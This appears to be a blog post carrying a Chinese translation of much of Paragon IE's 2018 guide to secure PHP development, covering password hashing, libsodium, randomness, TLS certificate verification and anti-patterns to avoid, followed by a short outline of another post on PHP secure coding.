从djb33迁移到Siphash,对于字符串输入,哈希输出的最高位设置为 1 ,对于整数输入设置为 0 ,使用CSPRNG提供的请求密钥,将完全解决这些攻击。 不幸的是, PHP 团队还没有准备好放弃他们已经在 PHP 7 系列中取得的性能提升,所以很难说服他们放弃 djb33 (这是非常快但不安全的) 赞成 SipHash (这也是快速的,但不像 djb33 那么快,但更安全)。 如果性能受到重大影响,可能会阻碍未来版本的采用,但也影响了安全性。 因此,最好的办法是: 使用JSON,因为它比unserialize()更安全。 在任何可能的地方,确保输入在反序列化之前被认证。 对于提供给用户的数据,通过一个只有服务器知道的秘钥使用sodium_crypto_auth()和sodium_crypto_auth_verify()验证。 对于第三方提供的数据,让他们使用 1 sodium_crypto_sign() 签名他们的 JSON 消息,然后使用 1 sodium_crypto_sign_open() 和第三方公钥验证消息。 如果你需要对传输的签名进行十六进制或 Base64 位编码,也可以使用分离的签名 API 。 如果你无法验证 JSON 字符串,请严格限制速度并阻止 IP 地址,以减轻重复的违规者。 密码散列 深入:2016 年,如何安全地保存用户密码 安全的密码存储曾经是一个激烈争论的话题,但现在实现起来相当微不足道,特别是在 PHP 中: 1 2 3 4 5 6 7 8 9 <?php $hash = \password_hash($password, PASSWORD_DEFAULT); if (\password_verify($password, $hash)) { // Authenticated. if (\password_needs_rehash($hash, PASSWORD_DEFAULT)) { // Rehash, update database. } } 你甚至不需要知道在后台使用什么算法,因为如果你使用最新版本的 PHP ,你也将使用当前最新的技术,用户的密码将会自动进行升级(只要有新的默认算法可用)。 无论你做什么,都不要做 WordPress 所做的事情。 从 PHP 5.5 到 7.2 ,默认算法都是 Bcrypt 。在未来,它可能会切换到获得密码哈希大赛冠军的 Argon2 。 如果你以前没有使用password_* API ,那需要迁移遗留哈希,请确保以这种方式进行。很多公司搞错了, 最有名的是雅虎。 最近,错误地实施传统哈希升级似乎导致了苹果的iamroot错误。 通用加密 这是一些我们详细写了的话题: Using Encryption and Authentication Correctly (2015) Recommended: Choosing the Right Cryptography Library for your PHP Project: A Guide (2015) Recommended: You Wouldn’t Base64 a Password - Cryptography Decoded (2015) Cryptographically Secure PHP Development (2017) Recommended: Libsodium Quick Reference: Similarly-Named Functions and Their Use-Cases (2017) 一般来说,你总是希望使用 Sodium cryptography library(libsodium)进行应用层加密。如果你需要支持早于 7.2 的 PHP 版本(像 5.2.4),你可以使用sodium_compat,基本上可以假设你的用户也是 7.2 。 在特定情况下,由于严格的算法选择和互操作性,你可能需要不同的库。如有疑问,请咨询密码专家和密码工程师,了解密码选择是否安全(这是我们提供的服务之一)。 随机性 深入:如何在 PHP 中生成安全的整数和字符串? 如果你需要随机数字,请使用random_int()。如果你需要随机字节字符串,请使用random_bytes()。不要使用mt_rand(),rand()或uniqid()。 如果你需要从秘密种子(secret seed)生成伪随机数(pseudorandom),请使用SeedSpring,而不是srand()或mt_srand()。 1 2 3 4 5 6 7 8 <?php use ParagonIE\SeedSpring\SeedSpring; $seed = random_bytes(16); $rng = new SeedSpring($seed); $data = $rng->getBytes(1024); $int = $rng->getInt(1, 100); 服务器端 HTTPS 请求 确保 TLS 证书验证没有被禁用 随意使用你已经熟悉的任何兼容 PSR-7 的 HTTP 客户端。 我们喜欢 Guzzle ,有些人喜欢直接使用 cURL 。 无论你最终使用什么,请确保使用的确定性,以确保始终可以拥有最新的 CACert 软件包,从而允许启用最严格的 TLS 证书验证设置并保护服务器的出站 HTTPS 请求。 安装 Certainty 很简单: 1 composer require paragonie/certainty:^1 使用 Certainty 也很简单: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php use ParagonIE\Certainty\RemoteFetch; $latestCACertBundle = (new RemoteFetch())->getLatestBundle(); # cURL users: $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($ch, CURLOPT_CAINFO, $latestCACertBundle->getFilePath()); # Guzzle users: /** @var \GuzzleHttp\Client $http */ $repsonse = $http->get( 'https://example.com', [ 'verify' => $latestCACertBundle->getFilePath() ] ); 这样可以保护你免受网络服务器与集成的任何第三方 API 之间的中间人攻击。 我们真的需要 Certainty 吗? 保护你的系统, Certainty 并不是严格的要求。缺少它并不是什么漏洞。但如果没有 Certainty ,开源软件必须猜测操作系统的 CACert 软件包的存在位置,如果猜测错误,它往往会失败并导致可用性问题。从历史上看,这激励了许多开发人员只是禁用证书验证,以便他们的代码“正常工作”,却没有意识到他们只是将应用程序变成主动攻击。 Certainty 通过将 CACert 捆绑在最新的可预测位置来消除这种激励。 Certainty 还为希望运行自己的内部 CA 为企业提供大量的工具。 谁禁用了证书验证? 流行的内容管理系统(WordPress,Magento 等 CMS)的插件/扩展开发者!这是我们试图在生态系统层面上解决的一个巨大的问题。 它不是孤立的任何特定的 CMS ,你会发现这些不安全的插件等都是类似的。 如果使用了类似的 CMS ,请在插件中搜索CURLOPT_SSL_VERIFYPEER和CURLOPT_SSL_VERIFYHOST,你可能会发现有几个将这些值设置为FALSE。 避免的事情 不要使用mcrypt。这是一个十多年来没有开发出来的密码学库。如果你遵循我们的 PHP 版本建议,这应该是一个容易避免的错误,因为mcrypt不再被 PHP 7.2 和更新的版本支持。 配置驱动的安全建议应该大部分地忽略。如果你正在阅读 PHP 安全性指南,并告诉你更改 php.ini 设置而不是编写更好的代码,那么你可能正在阅读过时的建议。关闭窗口并转到一些和register_globals无关的文章上吧。 不要使用 JOSE(JWT,JWS,JWE),这是一套互联网标准,它编纂了一系列容易出错的密码设计。尽管由于某种原因,被写入了标准,也吸引了很多传道人。 加密 URL 参数是公司常用来模糊元数据的反模式(例如,我们有多少用户?)。 它带来了实施错误的高风险,也造成了错误的安全感。我们在链接的文章中提出了一个更安全的选择。 除非迫不得已,否则不要提供“我忘记了我的密码”的功能。 不要讳言:密码重置功能是一个后门。 有一些方法可以实施以抵御合理的威胁模型,但高风险用户应该不被考虑。 避免使用 RSA,改用 libsodium 。如果你必须使用 RSA ,请确保指定 OAEP 填充。 1 2 3 4 5 6 7 8 <?php openssl_private_decrypt( $ciphertext, $decrypted, // Plaintext gets written to this variable upon success, $privateKey, OPENSSL_PKCS1_OAEP_PADDING // Important: DO NOT OMIT THIS! ); 如果你不得不使用 PKCS#1 v1.5 填充,那么无论你与哪个集成在一起,几乎肯定会受到 ROBOT 的影响,请以允许明文泄露和签名伪造的漏洞将其报告给相应的供应商(或 US-CERT )。 专业用法 现在你已经掌握了在 2018 年及以后构建安全 PHP 应用程序的基础知识,接下来我们来看一些更专业的用法。 可搜索的加密 深入:使用PHP和SQL构建可搜索的加密数据库 可搜索的加密数据库是可取的,但被广泛认为是不太可能实现的。上面链接的博客文章试图通过改进我们解决方案来实现,但本质上是这样的: 设计你的架构,以便数据库(database compromise)不会让攻击者访问你的加密密钥。 用一个密钥加密数据。 基于 HMAC 或具有静态盐的安全 KDF (secure KDF with a static salt)创建多个索引(具有自己独特的密钥) 可选:截断步骤3的输出,将其用作布隆过滤器(Bloom filter) 在 SELECT 查询中使用步骤3或4的输出 解密结果。 在这个过程中的任何一步,你都可以根据实际使用情况进行不同的权衡。 没有 Side-Channels 的基于令牌的身份验证 深入: Split Tokens: Token-Based Authentication Protocols without Side-Channels 说到数据库(上一节),你是否知道 SELECT 查询理论上可能是定时信息泄漏的来源? 简单的缓解措施: 把你的认证令牌分为两半 一半在 SELECT 查询中使用 后一半在恒定的时间(constant-time)验证 可以选择将后半部分的散列存储在数据库中。这对于只能使用一次的令牌是有意义的,例如 密码重置或“在此计算机上记住我”的令牌 即使可以使用定时泄漏来窃取一半的令牌,剩下的也需要暴力破解才能成功。 开发安全的API 深入: Hardening Your PHP-Powered APIs with Sapient 我们写了 SAPIENT (the Secure API ENgineering Toolkit),让服务器到服务器验证的消息传递变得简单易行。除了 HTTPS 提供的安全性之外,Sapient允许你使用共享密钥或公钥来加密和验证消息。 这使得即使存在中间攻击者,并设有流氓证书颁发机构,你也可以使用Ed25519对 API 请求和响应进行身份验证,或者将消息加密到只能由接收方服务器的密钥解密的目标服务器。 由于每个 HTTP 消息体都通过安全密码进行身份验证,所以可以安全地使用它来代替stateful token juggling protocols(例如 OAuth)。但是,在密码学方面,在做任何不规范的事情之前,总要确保他们的实现是由专家研究的。 所有Sapient使用的密码算法都由Sodium cryptography library提供。 进一步阅读: Sapient Documentation Sapient Tutorial Sapient Specification Paragon Initiative Enterprises已经在其许多产品(包括许多开源软件项目)中使用了Sapient, 并将继续添加软件项目到Sapient用户群中。 使用Chronicle记录安全事件 深入: Chronicle Will Make You Question the Need for Blockchain Technology Chronicle是一个基于散列链数据结构的仅追加密码分类账(append-only cryptographic ledger),具有很多吸引公司“区块链”技术的属性,而不会过分矫枉过正。 除了仅追加密码分类账(append-only cryptographic ledger)这个具有创造性的用例之外,Chronicle集成到SIEM中时,也可以十分有亮点,因为你可以将安全关键事件发送到私人Chronicle中,并且它们是不能被改变的。 如果你的Chronicle设置为将其摘要散列交叉签名到其他Chronicle实例,或者如果有其他实例配置为复制你的Chronicle内容,攻击者就很难篡改你的安全事件日志。 在Chronicle的帮助下,你可以获得区块链所承诺的弹性特性(resilience),而没有任何隐私,性能或可伸缩性问题。 要将数据发布到本地Chronicle,你可以使用任何与Sapient-compatible API,但最简单的解决方案称为Quill。 作者的一些话 一些聪明的读者可能注意到我们引用了很多我们自己的工作,包括博客文章和开源软件。(当然也不仅仅引用了我们自己的工作) 这绝不是偶然的。 自从我们在 2015 年初成立以来,一直在编写安全库并参与提高 PHP 生态系统安全性的工作。我们已经涉足了很多领域,而且我们的安全工程师(他们最近推动了更安全的加密技术加入 PHP 核心,就在最近的 PHP 7.2 中)自我担保地说,并不擅长自我炒作,或是对已经做过的工作持续热情。但你很可能没有听说我们多年来开发的工具或库。对于这个,深感抱歉。 不论如何,我们也不可能成为各方面的先行者,所以我们尽可能地选择与重视公共利益而不是贪图小利的行业专家工作。 这也是为什么浏览器安全的许多章节都参考了 Scott Helme 和他公司的工作,他们在为开发人员提供这些新的安全功能方面具有可访问性和可理解性。 本指南当然不会是详尽的。编写不安全代码的方法几乎和编写代码的方法一样多。 安全是一种心态,而不是目的地。 随着上面所写的一切,以及后面涉及的资源,我们希望这将有助于全世界的开发人员,从今天开始用 PHP 编写安全的软件。 资源 如果你已经按照本页上的所有内容进行了操作,并且需要更多内容,则可能会对我们策划的阅读列表感兴趣,以便学习应用程序安全性。 如果你认为自己编写的代码足够安全,并希望我们从安全工程师的角度对其进行评判,这也是我们为客户提供的服务。 你如果为一家要进行合规性测试(PCI-DSS,ISO 27001等)的公司工作,可能还想聘请我们公司来审核你的源代码。我们的流程比其他安全咨询公司更适合开发者。 接下来是 PHP 和信息安全社区提供的资源列表,这些资源帮助互联网更加安全。 PHP: The Right Way:现代 PHP 开发的实用指南,免费在线。 Mozilla’s SSL Config Generator Let’s Encrypt:证书颁发机构,通过提供免费 TLS 证书,为创建更安全的 Internet 做了很多。 Qualys SSL Labs:为 TLS 配置提供了一个快速而简单的测试套件。几乎每个人都使用这个来解决他们的密码组和证书问题,理由很充分:It does its job well. Security Headers:可以检验你的网站在使用浏览器安全功能来保护用户方面的表现如何。 Report-URI:一个很好的免费资源,提供监控 CSP/HPKP 等安全策略的实时安全报告服务。他们给你一个 Report-URI,你可以传递给你的用户的浏览器,如果有什么事情发生或有人发现 XSS 攻击媒介,他们会投诉Report-URI。 Report-URI 会汇总这些错误,并允许你更好地对这些报告进行疑难解答和分类。 PHP Security Advent Calenda:RIPSTech旗下的团队负责。 Snuffleupagus:一个面向安全的 PHP 模块(Suhosin的精神继承者,似乎在很大程度上会被放弃) PHP Delusions:一个致力于更好地使用 PHP 的网站。大部分的口吻是非常有见地的,作者对技术的准确性和清晰度的奉献使得值得一读,特别是对于那些不太喜欢 PDO 功能的人来说。 Have I Been Pwned?:帮助用户发现他们的数据是否属于过时数据泄露。 结尾 原文地址:The 2018 Guide to Building Secure PHP Software - P.I.E. Staff 最早是在Laravel China社区里帖子 - The 2018 Guide to Building Secure PHP Software看到,一位同学只发了原链接,由于是全英,文章也比较长,就没有深读,但可以知道这是一篇很好的文章,值得学习,这几天花了时间翻译了全文。
2023年08月10日
11 阅读
0 评论
0 点赞
2023-08-09
PHP安全编码
一、系统层面的安全策略1.1 隐藏ip1.2 服务、权限、类库最小化1.3 最新的小版本号1.5 关注最新的依赖的软件的漏洞信息,时刻准备打补丁。1.6 权限划分和设置,防止提权二、编码层面的安全策略2.1 参数过滤2.2 sql 注射、二次注射、旁注2.3 XSS 攻击2.4 相关的类库安全2.5 专门的审核人员2.6 市面上的漏洞扫描工具利用三、防范社工3.1 管理员、相关人员信息泄漏和潜在危险3.2 撞库、md5 碰撞四、0day 攻击和奇葩漏洞的应对4.1 举个栗子:gbk 漏洞和文件后缀解析4.2 如何应对
2023年08月09日
12 阅读
0 评论
0 点赞
1
2
3
4
5